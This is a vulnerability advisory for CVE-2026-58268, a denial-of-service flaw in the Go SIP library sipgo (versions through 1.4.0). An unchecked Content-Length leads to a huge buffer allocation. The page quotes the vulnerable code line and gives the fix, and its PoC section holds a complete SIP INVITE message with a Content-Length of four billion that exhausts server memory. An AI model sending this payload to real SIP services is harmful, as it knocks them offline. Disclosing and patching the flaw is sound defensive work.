CVE-2026-58268: SIPGO: DoS via unvalidated Content-Length in the stream parser
Summary The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS. Details ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parserstream.go#L195): The ParseMaxMessageLength (65535) check is in the caller ParseNext…
Published Sep 22, 2026
Affected packages
github.com/emiago/sipgo
- Ecosystem
- Go
- Affected
- <= 1.4.0
- Fixed in
- 1.4.1
- Check
go list -m github.com/emiago/sipgo
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.
Details
ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):
body := make([]byte, contentLength) // contentLength is client-controlled, up to 2^32-1 (uint32)The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.
PoC
Tested on emiago/sipgo v1.4.0 (latest).
Send a single message with a large Content-Length and no body to a SIP server:
INVITE sip:[email protected] SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:[email protected]>;tag=1
To: <sip:[email protected]>
Call-ID: [email protected]
CSeq: 1 INVITE
Content-Length: 4000000000 // <- a large Content-Length
Suggested Fix
Validate contentLength against ParseMaxMessageLength before the allocation.
Impact
Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.
Credited to arkark.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
